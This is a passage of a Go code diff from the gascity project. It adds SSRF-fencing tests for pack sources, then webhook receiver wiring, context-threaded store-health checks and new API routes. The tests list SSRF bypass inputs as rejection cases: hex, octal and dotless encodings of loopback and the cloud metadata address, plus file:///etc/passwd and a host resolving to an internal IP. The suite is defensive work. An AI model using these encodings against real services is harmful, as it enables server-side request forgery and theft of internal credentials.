+		err := validateHTTPPackSource(src)
+		if err == nil {
+			t.Errorf("validateHTTPPackSource(%q) = nil, want rejection", src)
+			continue
+		}
+		if !errors.Is(err, importsvc.ErrInvalidSource) {
+			t.Errorf("validateHTTPPackSource(%q) error = %v, want ErrInvalidSource", src, err)
+		}
+	}
+}
+
+func TestValidateHTTPPackSource_RejectsEncodedInternalIPLiterals(t *testing.T) {
+	// Encoded-integer IP literals that net.ParseIP does not recognize but git's C
+	// resolver (getaddrinfo/inet_aton) decodes to an internal address must be
+	// blocked. The fence decodes them the same way (hex, octal, dotless integer)
+	// and classifies the decoded destination, so these cannot slip past on a
+	// resolver that merely errors for them.
+	for _, src := range []string{
+		"http://0x7f000001/repo.git",         // hex -> 127.0.0.1 (loopback)
+		"http://2130706433/repo.git",         // dotless decimal -> 127.0.0.1
+		"http://0177.0.0.1/repo.git",         // octal octet -> 127.0.0.1
+		"http://0xA9FEA9FE/latest/meta-data", // hex -> 169.254.169.254 (metadata)
+		"http://0xa9fea9fe/repo.git",         // lowercase hex -> 169.254.169.254
+		"http://3232235521/repo.git",         // dotless decimal -> 192.168.0.1
+	} {
+		err := validateHTTPPackSource(src)
+		if err == nil {
+			t.Errorf("validateHTTPPackSource(%q) = nil, want rejection", src)
+			continue
+		}
+		if !errors.Is(err, importsvc.ErrInvalidSource) {
+			t.Errorf("validateHTTPPackSource(%q) error = %v, want ErrInvalidSource", src, err)
+		}
+	}
+}
+
+func TestValidateHTTPPackSource_AllowsEncodedPublicIPLiterals(t *testing.T) {
+	// Decoding must not over-block: an encoded literal that decodes to a public
+	// address is allowed, matching the plain dotted-decimal behavior. No DNS is
+	// consulted, so no resolver stub is needed.
+	for _, src := range []string{
+		"http://0x08080808/repo.git", // hex -> 8.8.8.8 (public)
+		"http://134744072/repo.git",  // dotless decimal -> 8.8.8.8 (public)
+	} {
+		if err := validateHTTPPackSource(src); err != nil {
+			t.Errorf("validateHTTPPackSource(%q) = %v, want nil", src, err)
+		}
+	}
+}
+
+func TestValidateHTTPPackSource_RejectsBracketedIPv6ScpForm(t *testing.T) {
+	// scp-like SSH syntax with a bracketed IPv6 host (git@[::1]:repo) must extract
+	// the address between the brackets, not stop at the first ':' inside the
+	// literal and yield the bogus host "[" that slips past the fence.
+	for _, src := range []string{
+		"git@[::1]:repo.git",     // IPv6 loopback
+		"git@[fd00::1]:repo.git", // IPv6 unique-local
+	} {
+		if err := validateHTTPPackSource(src); !errors.Is(err, importsvc.ErrInvalidSource) {
+			t.Errorf("validateHTTPPackSource(%q) error = %v, want ErrInvalidSource", src, err)
+		}
+	}
+}
+
+func TestValidateHTTPPackSource_RejectsLoopbackHostname(t *testing.T) {
+	for _, src := range []string{
+		"https://localhost/repo.git",
+		"http://LOCALHOST:8080/repo.git",
+		"https://api.localhost/repo.git",
+	} {
+		if err := validateHTTPPackSource(src); !errors.Is(err, importsvc.ErrInvalidSource) {
+			t.Errorf("validateHTTPPackSource(%q) error = %v, want ErrInvalidSource", src, err)
+		}
+	}
+}
+
+func TestValidateHTTPPackSource_RejectsHostResolvingToInternal(t *testing.T) {
+	restore := stubPackSourceResolver(t, map[string][]net.IP{
+		// A public-looking name that resolves to an internal address (DNS-based
+		// SSRF) must be blocked.
+		"evil.example": {net.ParseIP("10.1.2.3")},
+	})
+	defer restore()
+
+	if err := validateHTTPPackSource("https://evil.example/repo.git"); !errors.Is(err, importsvc.ErrInvalidSource) {
+		t.Errorf("validateHTTPPackSource(evil.example) error = %v, want ErrInvalidSource", err)
+	}
+}
+
+func TestValidateHTTPPackSource_ResolutionErrorDoesNotBlock(t *testing.T) {
+	// A transient DNS failure must not block: the git fetch performs its own
+	// resolution and surfaces the failure there. The fence only blocks on a
+	// positively-internal address.
+	restore := stubPackSourceResolver(t, nil)
+	defer restore()
+
+	if err := validateHTTPPackSource("https://unresolvable.example/repo.git"); err != nil {
+		t.Errorf("validateHTTPPackSource on resolution error = %v, want nil", err)
+	}
+}
+
+// The add handler must fence the source BEFORE the importsvc seam runs, so a
+// blocked source can never drive a git fetch.
+func TestHandlePackAdd_BlocksSSRFSourceBeforeSeam(t *testing.T) {
+	restore := stubPackSourceResolver(t, map[string][]net.IP{
+		"internal.example": {net.ParseIP("169.254.169.254")},
+	})
+	defer restore()
+
+	orig := packAddImport
+	var seamCalled bool
+	packAddImport = func(fsys.FS, string, string, string, string) (*importsvc.AddResult, error) {
+		seamCalled = true
+		return &importsvc.AddResult{Name: "review"}, nil
+	}
+	defer func() { packAddImport = orig }()
+
+	for _, body := range []string{
+		`{"source":"http://169.254.169.254/latest/meta-data"}`,
+		`{"source":"file:///etc/passwd"}`,
+		`{"source":"//packs/local"}`,
+		`{"source":"https://internal.example/repo.git"}`,
+	} {
+		fs := newFakeMutatorState(t)
+		h := newTestCityHandler(t, fs)
+		req := httptest.NewRequest("POST", cityURL(fs, "/packs"), strings.NewReader(body))
+		req.Header.Set("X-GC-Request", "true")
+		w := httptest.NewRecorder()
+		h.ServeHTTP(w, req)
+
+		if w.Code != http.StatusBadRequest {
+			t.Errorf("body %s: status = %d, want %d; body=%s", body, w.Code, http.StatusBadRequest, w.Body.String())
+		}
+	}
+	if seamCalled {
+		t.Fatal("packAddImport seam was reached for a blocked source; the SSRF fence must run first")
+	}
+}
+
+// TestPackAddImportFenced_ThreadsSSRFPolicyIntoImportsvc proves the default add
+// seam threads validateHTTPPackSource into importsvc as the SourcePolicy, so the
+// fence reaches the direct git probe and (via SyncLockWithPolicy) every
+// transitive import, not just the handler's top-level pre-check. An internal
+// direct source is rejected before any git seam, with no network.
+func TestPackAddImportFenced_ThreadsSSRFPolicyIntoImportsvc(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.WriteFile(filepath.Join(dir, "city.toml"), []byte("[workspace]\nname = \"demo\"\n"), 0o644); err != nil {
+		t.Fatalf("write city.toml: %v", err)
+	}
+	_, err := packAddImportFenced(fsys.OSFS{}, dir, "http://10.0.0.5/repo.git", "", "")
+	if !errors.Is(err, importsvc.ErrInvalidSource) {
+		t.Fatalf("default add seam did not thread the SSRF fence into importsvc: err = %v", err)
+	}
+}
+
+// stubPackSourceResolver swaps the DNS seam for the test and returns a restore
+// func. Hosts absent from table resolve with an error (no address).
+func stubPackSourceResolver(t *testing.T, table map[string][]net.IP) func() {
+	t.Helper()
+	orig := packSourceHostResolver
+	packSourceHostResolver = func(host string) ([]net.IP, error) {
+		if ips, ok := table[strings.ToLower(host)]; ok {
+			return ips, nil
+		}
+		return nil, errors.New("no such host")
+	}
+	return func() { packSourceHostResolver = orig }
+}
diff --git a/internal/api/server.go b/internal/api/server.go
index ab3be7cd24..ad7146e42e 100644
--- a/internal/api/server.go
+++ b/internal/api/server.go
@@ -14,6 +14,7 @@ import (
 	"github.com/gastownhall/gascity/internal/formula"
 	"github.com/gastownhall/gascity/internal/molecule"
 	"github.com/gastownhall/gascity/internal/sling"
+	"github.com/gastownhall/gascity/internal/webhookverify"
 )
 
 // extmsgNotifyTimeout bounds fire-and-forget goroutines spawned from
@@ -84,7 +85,7 @@ type Server struct {
 	storeHealthMu       sync.Mutex
 	storeHealthEntry    *StatusStoreHealth
 	storeHealthExpires  time.Time
-	storeHealthComputer func() *StatusStoreHealth
+	storeHealthComputer func(ctx context.Context) *StatusStoreHealth
 
 	// statusWarm holds the last background-built /v0/status body (full + lite
 	// variants) so the request path serves a snapshot instead of running the
@@ -114,6 +115,39 @@ type Server struct {
 	// SlingRunnerFunc can be overridden in tests. When nil, uses a real
 	// shell runner. Set this to inject a fake runner for unit tests.
 	SlingRunnerFunc sling.SlingRunner
+
+	// webhookEvents overrides the E8 webhook.received / webhook.rejected sink.
+	// Nil (the default) forwards to the city event bus via cityEventWebhookSink;
+	// tests inject a fake to assert emitted events. See webhookEventSink.
+	webhookEvents WebhookEventSink
+
+	// webhookDedup is the E8 delivery-idempotency store, keyed (webhook,
+	// delivery-id). Shared across deliveries for the process lifetime of this
+	// per-city Server (the supervisor caches one Server per city).
+	webhookDedup *webhookDedupCache
+
+	// webhookLimiter is the E8 per-webhook token-bucket rate limiter.
+	webhookLimiter *webhookRateLimiter
+
+	// webhookVerifiers memoizes the built E4 verifier per webhook so a stateful
+	// verifier (the jwt-jwks JWKS cache) persists across deliveries instead of
+	// being rebuilt — and its JWKS refetched — on every request. Keyed by webhook
+	// name; a cheap config fingerprint guards each entry so a config hot-reload
+	// that changes the verify config rebuilds the verifier. Secret resolution
+	// stays per-request; only the verifier (the stateful part) is reused.
+	webhookVerifiersMu sync.Mutex
+	webhookVerifiers   map[string]cachedWebhookVerifier
+
+	// webhookMaxBody overrides the /hook/ request body cap in tests. Zero uses
+	// defaultMaxWebhookBodyBytes.
+	webhookMaxBody int64
+}
+
+// cachedWebhookVerifier is a memoized verifier plus the config fingerprint it
+// was built from; a fingerprint mismatch on the next delivery triggers a rebuild.
+type cachedWebhookVerifier struct {
+	verifier    webhookverify.Verifier
+	fingerprint string
 }
 
 type lookPathEntry struct {
@@ -188,12 +222,19 @@ func NewReadOnly(state State) *Server {
 func newServer(state State, readOnly bool) *Server {
 	mux := http.NewServeMux()
 	s := &Server{
-		state:    state,
-		mux:      mux,
-		readOnly: readOnly,
-		idem:     newIdempotencyCache(30 * time.Minute),
+		state:          state,
+		mux:            mux,
+		readOnly:       readOnly,
+		idem:           newIdempotencyCache(30 * time.Minute),
+		webhookDedup:   newWebhookDedupCache(defaultWebhookDedupTTL),
+		webhookLimiter: newWebhookRateLimiter(),
 	}
 	mux.HandleFunc("/svc/", s.handleServiceProxy)
+	// /hook/* webhook receiver — the fourth sanctioned non-Huma surface. Like
+	// /svc/* it is a raw-body pass-through (HMAC/ed25519 sign the exact bytes),
+	// so it lives on the per-city mux outside the typed Huma control plane; its
+	// gates are the R2 perimeter + E4 signature verification, not Huma middleware.
+	mux.HandleFunc("/hook/", s.handleHookProxy)
 	return s
 }
 
diff --git a/internal/api/state.go b/internal/api/state.go
index 2804b5f1c0..2ae96b7181 100644
--- a/internal/api/state.go
+++ b/internal/api/state.go
@@ -14,6 +14,7 @@ import (
 	"github.com/gastownhall/gascity/internal/events"
 	"github.com/gastownhall/gascity/internal/extmsg"
 	"github.com/gastownhall/gascity/internal/mail"
+	"github.com/gastownhall/gascity/internal/orderdispatch"
 	"github.com/gastownhall/gascity/internal/orders"
 	"github.com/gastownhall/gascity/internal/runtime"
 	"github.com/gastownhall/gascity/internal/supervisor"
@@ -107,6 +108,21 @@ type State interface {
 	// Returns nil if no store is available.
 	CityBeadStore() beads.Store
 
+	// ScopedStoreLike returns a throwaway, ctx-bound clone of existing when
+	// existing is (or wraps) a bd-CLI-shell-backed store: cancellation kills
+	// the backend bd subprocess instead of abandoning it to run past ctx's
+	// deadline, unlike existing's own long-lived runner (fixed to
+	// context.Background() at construction). Returns (nil, nil) when
+	// existing is not bd-CLI backed (e.g. a native, file, or in-memory
+	// store) — those have no subprocess to leak, so callers should keep
+	// reading through existing directly in that case.
+	//
+	// Read paths with their own short request budget (e.g. GET /status) use
+	// this instead of reading through the shared store so a slow bd command
+	// cannot pin a Dolt connection past the caller's own deadline
+	// (gascity ga-cdmx6x).
+	ScopedStoreLike(ctx context.Context, existing beads.Store) (beads.Store, error)
+
 	// NudgesBeadStore returns the store backing the nudge-queue shadow beads
 	// (gc:nudge). At the default backend this is the same store as
 	// CityBeadStore; when [beads.classes.nudges] is relocated it is the
@@ -215,6 +231,7 @@ type ProviderUpdate struct {
 	Env                map[string]string // nil = not set, non-nil = additive merge
 	OptionsSchemaMerge *string
 	OptionsSchema      []config.ProviderOption // nil = not set, non-nil = replace
+	OptionDefaults     map[string]string       // nil = not set, non-nil = additive merge
 }
 
 // RawConfigProvider is optionally implemented by State to provide the
@@ -224,6 +241,23 @@ type RawConfigProvider interface {
 	RawConfig() *config.City
 }
 
+// WebhookDispatchProvider is optionally implemented by State to expose the live
+// order dispatcher the supervisor webhook receiver (E3) fires verified+matched
+// deliveries through. It is the H1/E0.5 dispatch seam: the dispatch machine lives
+// in cmd/gc (memoryOrderDispatcher.dispatchOne), which internal/api cannot import,
+// so the city runtime implements this accessor over the same dispatchOne core the
+// tick loop uses. A State that does not implement it disables webhook dispatch —
+// the receiver returns 503 rather than firing a stub, so the perimeter/verify/
+// match guards still run but no order is launched. Modeled on the optional
+// RawConfigProvider/AgentVisibilityWaiter capability pattern rather than a core
+// State method so the two production State implementers and the test fakes are not
+// all forced to grow a dispatcher they may not have.
+type WebhookDispatchProvider interface {
+	// WebhookDispatcher returns the order dispatcher, or nil when webhook dispatch
+	// is unavailable for this city.
+	WebhookDispatcher() orderdispatch.Dispatcher
+}
+
 // AgentVisibilityWaiter is an optional capability for states whose Config()
 // snapshot may briefly lag a successful agent mutation. Callers that need
 // strict read-after-write semantics for agent target resolution can type-assert
@@ -333,3 +367,17 @@ type FormulaMutator interface {
 	// DeleteFormula removes a city-local formula source.
 	DeleteFormula(name string) error
 }
+
+// ConfigWriteSerializer is an optional State extension that runs fn under the
+// per-city config write lock. Pack import add/remove mutate city config files
+// (pack.toml, packs.lock, and sometimes city.toml) outside the
+// configedit.Editor callback shape, so running them through this seam
+// serializes them against the agent/rig/provider/formula mutations that take
+// the same Editor lock — otherwise two concurrent net/http goroutines could
+// interleave load→mutate→write and lose an update or desync manifest and
+// lockfile. Like StateMutator it is type-asserted by handlers; a State that
+// does not implement it runs the mutation without extra serialization.
+type ConfigWriteSerializer interface {
+	// SerializeConfigWrite runs fn while holding the per-city config write lock.
+	SerializeConfigWrite(fn func() error) error
+}
diff --git a/internal/api/status_warm_test.go b/internal/api/status_warm_test.go
index b1b05fa6e3..04cdc4ba9b 100644
--- a/internal/api/status_warm_test.go
+++ b/internal/api/status_warm_test.go
@@ -1,6 +1,7 @@
 package api
 
 import (
+	"context"
 	"net/http"
 	"net/http/httptest"
 	"testing"
@@ -122,7 +123,7 @@ func TestHandleStatusRefreshesAgedWarmBody(t *testing.T) {
 func TestBuildAndStoreStatusRecoversFromBuildPanic(t *testing.T) {
 	state := newFakeState(t)
 	s := &Server{state: state}
-	s.storeHealthComputer = func() *StatusStoreHealth {
+	s.storeHealthComputer = func(context.Context) *StatusStoreHealth {
 		panic("simulated build panic")
 	}
 
@@ -177,7 +178,7 @@ func TestBuildAndStoreStatusEscapesWedgedBuild(t *testing.T) {
 	unblock := make(chan struct{})
 	t.Cleanup(func() { close(unblock) })
 	s.storeHealthMu.Lock()
-	s.storeHealthComputer = func() *StatusStoreHealth {
+	s.storeHealthComputer = func(context.Context) *StatusStoreHealth {
 		<-unblock
 		return &StatusStoreHealth{SizeBytes: 1}
 	}
@@ -194,7 +195,7 @@ func TestBuildAndStoreStatusEscapesWedgedBuild(t *testing.T) {
 	// Swap in a non-blocking computer under the same lock the wedged
 	// goroutine already read past, so this reassignment cannot race it.
 	s.storeHealthMu.Lock()
-	s.storeHealthComputer = func() *StatusStoreHealth {
+	s.storeHealthComputer = func(context.Context) *StatusStoreHealth {
 		return &StatusStoreHealth{SizeBytes: 2}
 	}
 	s.storeHealthMu.Unlock()
diff --git a/internal/api/store_health.go b/internal/api/store_health.go
index 20f963439f..b636eed7d6 100644
--- a/internal/api/store_health.go
+++ b/internal/api/store_health.go
@@ -1,6 +1,7 @@
 package api
 
 import (
+	"context"
 	"time"
 
 	"github.com/gastownhall/gascity/internal/beads"
@@ -15,7 +16,7 @@ const storeHealthCacheTTL = 30 * time.Second
 
 // cachedStoreHealth returns the memoized StoreHealth block, refreshing
 // when the TTL has elapsed. Safe for concurrent callers.
-func (s *Server) cachedStoreHealth(now time.Time) *StatusStoreHealth {
+func (s *Server) cachedStoreHealth(ctx context.Context, now time.Time) *StatusStoreHealth {
 	s.storeHealthMu.Lock()
 	if s.storeHealthEntry != nil && now.Before(s.storeHealthExpires) {
 		entry := s.storeHealthEntry
@@ -28,7 +29,7 @@ func (s *Server) cachedStoreHealth(now time.Time) *StatusStoreHealth {
 	}
 	s.storeHealthMu.Unlock()
 
-	h := compute()
+	h := compute(ctx)
 
 	s.storeHealthMu.Lock()
 	defer s.storeHealthMu.Unlock()
@@ -43,7 +44,7 @@ func (s *Server) cachedStoreHealth(now time.Time) *StatusStoreHealth {
 // computeStoreHealth measures the Dolt store on disk and the latest
 // gc.store.maintenance event via the server's State. Returns nil when
 // the city path is empty (no state to measure against).
-func (s *Server) computeStoreHealth() *StatusStoreHealth {
+func (s *Server) computeStoreHealth(ctx context.Context) *StatusStoreHealth {
 	cityPath := s.state.CityPath()
 	if cityPath == "" {
 		return nil
@@ -53,7 +54,7 @@ func (s *Server) computeStoreHealth() *StatusStoreHealth {
 	// context/timeout through WalkSize is deferred until it shows up
 	// in profiles.
 	size := storehealth.WalkSize(storehealth.StorePath(cityPath))
-	rows := countBeadStoreRows(s.state.CityBeadStore())
+	rows := countBeadStoreRows(ctx, s.state, s.state.CityBeadStore())
 	lastAt, lastStatus := storehealth.LastMaintenance(s.state.EventProvider())
 	h := storehealth.Compute(cityPath, size, rows, lastAt, lastStatus)
 	return statusStoreHealthFromDomain(h)
@@ -81,12 +82,15 @@ func statusStoreHealthFromDomain(h storehealth.Health) *StatusStoreHealth {
 // store is nil or the scan fails — the ratio is best-effort. The
 // closed-inclusive query is never answerable from the in-memory cache,
 // so this path always hydrates; counting closed history without
-// hydration needs backend support (#1896 follow-up).
-func countBeadStoreRows(store beads.Store) int {
+// hydration needs backend support (#1896 follow-up). Because it always
+// hydrates, this is the store-health block's exposure to ga-cdmx6x's
+// bd-child leak; statusListStoreWithTimeout's state.ScopedStoreLike wiring
+// covers it the same way as the work-count fallback.
+func countBeadStoreRows(ctx context.Context, state State, store beads.Store) int {
 	if store == nil {
 		return 0
 	}
-	list, err := statusListStoreWithTimeout(store, beads.ListQuery{AllowScan: true, IncludeClosed: true})
+	list, err := statusListStoreWithTimeout(ctx, state, store, beads.ListQuery{AllowScan: true, IncludeClosed: true})
 	if err != nil {
 		return 0
 	}
diff --git a/internal/api/store_health_test.go b/internal/api/store_health_test.go
index 8251acb504..9ecb64c11e 100644
--- a/internal/api/store_health_test.go
+++ b/internal/api/store_health_test.go
@@ -3,6 +3,8 @@ package api
 import (
 	"context"
 	"encoding/json"
+	"os"
+	"path/filepath"
 	"strings"
 	"testing"
 	"time"
@@ -16,13 +18,13 @@ func TestCachedStoreHealthServesMemoized(t *testing.T) {
 	var calls int
 	want := &StatusStoreHealth{Path: "/c/.beads/dolt", SizeBytes: 123}
 	s := &Server{}
-	s.storeHealthComputer = func() *StatusStoreHealth {
+	s.storeHealthComputer = func(context.Context) *StatusStoreHealth {
 		calls++
 		return want
 	}
 
 	now := time.Unix(1_000_000, 0)
-	got := s.cachedStoreHealth(now)
+	got := s.cachedStoreHealth(context.Background(), now)
 	if got != want {
 		t.Fatalf("cachedStoreHealth = %+v, want %+v", got, want)
 	}
@@ -31,7 +33,7 @@ func TestCachedStoreHealthServesMemoized(t *testing.T) {
 	}
 
 	// Within TTL: no recomputation.
-	got2 := s.cachedStoreHealth(now.Add(storeHealthCacheTTL - time.Second))
+	got2 := s.cachedStoreHealth(context.Background(), now.Add(storeHealthCacheTTL-time.Second))
 	if got2 != want {
 		t.Fatalf("second cachedStoreHealth = %+v, want %+v", got2, want)
 	}
@@ -43,15 +45,15 @@ func TestCachedStoreHealthServesMemoized(t *testing.T) {
 func TestCachedStoreHealthRefreshesAfterTTL(t *testing.T) {
 	var calls int
 	s := &Server{}
-	s.storeHealthComputer = func() *StatusStoreHealth {
+	s.storeHealthComputer = func(context.Context) *StatusStoreHealth {
 		calls++
 		return &StatusStoreHealth{SizeBytes: int64(calls)}
 	}
 
 	now := time.Unix(1_000_000, 0)
-	_ = s.cachedStoreHealth(now)
+	_ = s.cachedStoreHealth(context.Background(), now)
 	later := now.Add(storeHealthCacheTTL + time.Second)
-	got := s.cachedStoreHealth(later)
+	got := s.cachedStoreHealth(context.Background(), later)
 	if calls != 2 {
 		t.Fatalf("computer calls = %d, want 2", calls)
 	}
@@ -63,7 +65,7 @@ func TestCachedStoreHealthRefreshesAfterTTL(t *testing.T) {
 func TestCachedStoreHealthDoesNotHoldMutexDuringRefreshCompute(t *testing.T) {
 	s := &Server{}
 	canLockDuringCompute := make(chan bool, 1)
-	s.storeHealthComputer = func() *StatusStoreHealth {
+	s.storeHealthComputer = func(context.Context) *StatusStoreHealth {
 		locked := make(chan struct{})
 		go func() {
 			s.storeHealthMu.Lock()
@@ -79,7 +81,7 @@ func TestCachedStoreHealthDoesNotHoldMutexDuringRefreshCompute(t *testing.T) {
 		return &StatusStoreHealth{SizeBytes: 1}
 	}
 
-	_ = s.cachedStoreHealth(time.Unix(1_000_000, 0))
+	_ = s.cachedStoreHealth(context.Background(), time.Unix(1_000_000, 0))
 	if !<-canLockDuringCompute {
 		t.Fatal("cachedStoreHealth held storeHealthMu while running the refresh computer")
 	}
@@ -135,7 +137,7 @@ func TestComputeStoreHealthServerIntegration(t *testing.T) {
 		cityBeadStore: store,
 	}
 	s := &Server{state: state}
-	got := s.computeStoreHealth()
+	got := s.computeStoreHealth(context.Background())
 	if got == nil {
 		t.Fatal("computeStoreHealth returned nil")
 	}
@@ -150,16 +152,41 @@ func TestComputeStoreHealthServerIntegration(t *testing.T) {
 	}
 }
 
+func TestComputeStoreHealthUsesDoltlitePathFromMetadata(t *testing.T) {
+	cityPath := t.TempDir()
+	beadsDir := filepath.Join(cityPath, ".beads")
+	if err := os.MkdirAll(beadsDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(beadsDir, "metadata.json"), []byte(`{"backend":"doltlite","database":"doltlite","dolt_database":"hq"}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	state := &fakeState{
+		cityPath:      cityPath,
+		eventProv:     events.NewFake(),
+		cityBeadStore: beads.NewMemStore(),
+	}
+	s := &Server{state: state}
+	got := s.computeStoreHealth(context.Background())
+	if got == nil {
+		t.Fatal("computeStoreHealth returned nil")
+	}
+	if !strings.HasSuffix(got.Path, "/.beads/doltlite") {
+		t.Fatalf("Path = %q, want .beads/doltlite suffix", got.Path)
+	}
+}
+
 func TestComputeStoreHealthEmptyCityPath(t *testing.T) {
 	state := &fakeState{cityPath: ""}
 	s := &Server{state: state}
-	if got := s.computeStoreHealth(); got != nil {
+	if got := s.computeStoreHealth(context.Background()); got != nil {
 		t.Fatalf("computeStoreHealth = %+v, want nil for empty city path", got)
 	}
 }
 
 func TestCountBeadStoreRowsNil(t *testing.T) {
-	if got := countBeadStoreRows(nil); got != 0 {
+	if got := countBeadStoreRows(context.Background(), newFakeState(t), nil); got != 0 {
 		t.Fatalf("countBeadStoreRows(nil) = %d, want 0", got)
 	}
 }
@@ -177,7 +204,7 @@ func TestCountBeadStoreRowsIncludesClosedBeads(t *testing.T) {
 	if err := store.Close(closed.ID); err != nil {
 		t.Fatalf("Close: %v", err)
 	}
-	if got := countBeadStoreRows(store); got != 2 {
+	if got := countBeadStoreRows(context.Background(), newFakeState(t), store); got != 2 {
 		t.Fatalf("countBeadStoreRows = %d, want 2 including closed bead %s and open bead %s", got, closed.ID, open.ID)
 	}
 }
diff --git a/internal/api/supervisor.go b/internal/api/supervisor.go
index 37df9865c1..1b7a9db240 100644
--- a/internal/api/supervisor.go
+++ b/internal/api/supervisor.go
@@ -171,6 +171,12 @@ func NewSupervisorMux(resolver CityResolver, initializer cityInitializer, readOn
 	// mux: "/v0/city/{cityName}/svc/" as a prefix pattern only matches that
 	// subtree; everything else is a typed Huma operation at its real scoped path.
 	humaMux.HandleFunc("/v0/city/{cityName}/svc/", sm.serveCitySvcProxy)
+	// /hook/* webhook receiver — a fourth sanctioned non-Huma surface next to
+	// /svc/*. Same raw-body pass-through pattern (the HMAC/ed25519 verifiers need
+	// the exact bytes); the R2 perimeter + E4 verification gate it, and — unlike
+	// /svc/* — it is NOT exempt from the mux-level write-auth grant (see
+	// cityScopedObjectMutation; the deliberate H2 reversal).
+	humaMux.HandleFunc("/v0/city/{cityName}/hook/", sm.serveCityHookProxy)
 	sm.server = &http.Server{Handler: sm.Handler()}
 	return sm
 }
@@ -192,6 +198,20 @@ func (sm *SupervisorMux) serveCitySvcProxy(w http.ResponseWriter, r *http.Reques
 	sm.serveCityRequest(w, r, cityName, svcPath)
 }
 
+// serveCityHookProxy forwards /v0/city/{cityName}/hook/... to the per-city
+// Server's mux at /hook/... (where handleHookProxy is registered). Like
+// serveCitySvcProxy it is a raw pass-through excluded from the typed Huma control
+// plane so the signature verifiers see the exact raw body.
+func (sm *SupervisorMux) serveCityHookProxy(w http.ResponseWriter, r *http.Request) {
+	cityName := r.PathValue("cityName")
+	if cityName == "" {
+		problemCityNameRequired.writeTo(w)
+		return
+	}
+	hookPath := strings.TrimPrefix(r.URL.Path, "/v0/city/"+cityName)
+	sm.serveCityRequest(w, r, cityName, hookPath)
+}
+
 // Handler returns an http.Handler with the standard middleware chain applied.
 //
 // Middleware layering (Phase 3 Fix 3b + 3d):
diff --git a/internal/api/supervisor_city_routes.go b/internal/api/supervisor_city_routes.go
index a8e3c22206..c31fd2c4d1 100644
--- a/internal/api/supervisor_city_routes.go
+++ b/internal/api/supervisor_city_routes.go
@@ -229,6 +229,12 @@ func (sm *SupervisorMux) registerCityRoutes() {
 	cityGet(sm, "/order/{name}", (*Server).humaHandleOrderGet)
 	cityPost(sm, "/order/{name}/enable", (*Server).humaHandleOrderEnable)
 	cityPost(sm, "/order/{name}/disable", (*Server).humaHandleOrderDisable)
+	// Typed operator path to fire a trigger="webhook" order directly with typed
+	// params. Inherits write-auth/CSRF/read-only from cityPost (write-auth IS the
+	// auth here — no signature). Reuses the E6 sink + E0.5 dispatcher seam.
+	cityPost(sm, "/order/{name}/run", (*Server).humaHandleOrderRun, func(op *huma.Operation) {
+		op.DefaultStatus = http.StatusAccepted
+	})
 	cityGet(sm, "/orders/feed", (*Server).humaHandleOrdersFeed)
 
 	// Formulas.
@@ -248,6 +254,15 @@ func (sm *SupervisorMux) registerCityRoutes() {
 
 	// Packs.
 	cityGet(sm, "/packs", (*Server).humaHandlePackList)
+	cityRegister(sm, huma.Operation{
+		OperationID:   "add-pack",
+		Method:        http.MethodPost,
+		Path:          "/packs",
+		Summary:       "Add a pack",
+		Description:   "Imports a pack into the city by source (a remote git URL or registry ref), resolving + installing it so its templates compose into the city.",
+		DefaultStatus: http.StatusCreated,
+	}, (*Server).humaHandlePackAdd)
+	cityDelete(sm, "/packs/{name}", (*Server).humaHandlePackRemove)
 
 	// Sling.
 	cityPost(sm, "/sling", (*Server).humaHandleSling)
diff --git a/internal/api/supervisor_dashboard_test.go b/internal/api/supervisor_dashboard_test.go
index 02368878e0..6e336262bd 100644
--- a/internal/api/supervisor_dashboard_test.go
+++ b/internal/api/supervisor_dashboard_test.go
@@ -22,6 +22,14 @@ type dashCityPaths map[string]string
 
 func (m dashCityPaths) CityPath(n string) (string, bool) { p, ok := m[n]; return p, ok }
 
+func (m dashCityPaths) Cities() []dashboardbff.CityRef {
+	refs := make([]dashboardbff.CityRef, 0, len(m))
+	for name, path := range m {
+		refs = append(refs, dashboardbff.CityRef{Name: name, Path: path})
+	}
+	return refs
+}
+
 // TestSupervisorHostsDashboardSameOrigin proves the headline outcome: one
 // listener serves the SPA, the typed /v0 API, and the host-side /api plane,
 // with the reserved API prefixes never falling through to the SPA shell.
diff --git a/internal/api/supervisor_nonhuma_guard_test.go b/internal/api/supervisor_nonhuma_guard_test.go
index 5edc0e5845..c16ed7d4e4 100644
--- a/internal/api/supervisor_nonhuma_guard_test.go
+++ b/internal/api/supervisor_nonhuma_guard_test.go
@@ -26,9 +26,10 @@ func TestSupervisorNonHumaSurfacesAreSanctioned(t *testing.T) {
 	}
 
 	sanctioned := map[string]bool{
-		"/v0/city/{cityName}/svc/": true, // workspace-service pass-through
-		"/":                        true, // embedded dashboard SPA (WithStaticHandler)
-		"/api/":                    true, // host-side dashboard plane (WithAPIPlane)
+		"/v0/city/{cityName}/svc/":  true, // workspace-service pass-through
+		"/v0/city/{cityName}/hook/": true, // webhook receiver (E3) — raw body for HMAC/ed25519
+		"/":                         true, // embedded dashboard SPA (WithStaticHandler)
+		"/api/":                     true, // host-side dashboard plane (WithAPIPlane)
 	}
 
 	found := map[string]bool{}
diff --git a/internal/api/title_generate.go b/internal/api/title_generate.go
index d58b975b46..a59ac97313 100644
--- a/internal/api/title_generate.go
+++ b/internal/api/title_generate.go
@@ -24,7 +24,7 @@ Message: `
 // short title from the user's message, then updates the bead. On failure
 // (unsupported provider, timeout, subprocess error) it falls back to a
 // truncated version of the message.
-func generateAndSetTitle(store beads.Store, beadID string, provider *config.ResolvedProvider, message, workDir string) {
+func generateAndSetTitle(store beads.SessionStore, beadID string, provider *config.ResolvedProvider, message, workDir string) {
 	title := generateTitle(provider, message, workDir)
 	title = strings.TrimSpace(title)
 	if title == "" {
@@ -101,7 +101,7 @@ func truncateTitle(message string) string {
 // completes (or immediately if no generation is needed). Callers in
 // short-lived processes (e.g. CLI) should block on the channel before
 // exiting; long-lived servers can ignore it.
-func MaybeGenerateTitleAsync(store beads.Store, beadID, userTitle, message string, provider *config.ResolvedProvider, workDir string, stderr func(string, ...any)) <-chan struct{} {
+func MaybeGenerateTitleAsync(store beads.SessionStore, beadID, userTitle, message string, provider *config.ResolvedProvider, workDir string, stderr func(string, ...any)) <-chan struct{} {
 	done := make(chan struct{})
 	message = strings.TrimSpace(message)
 	if message == "" || userTitle != "" {
diff --git a/internal/api/title_generate_test.go b/internal/api/title_generate_test.go
index 274ef5bf3d..5f34f2d5b6 100644
--- a/internal/api/title_generate_test.go
+++ b/internal/api/title_generate_test.go
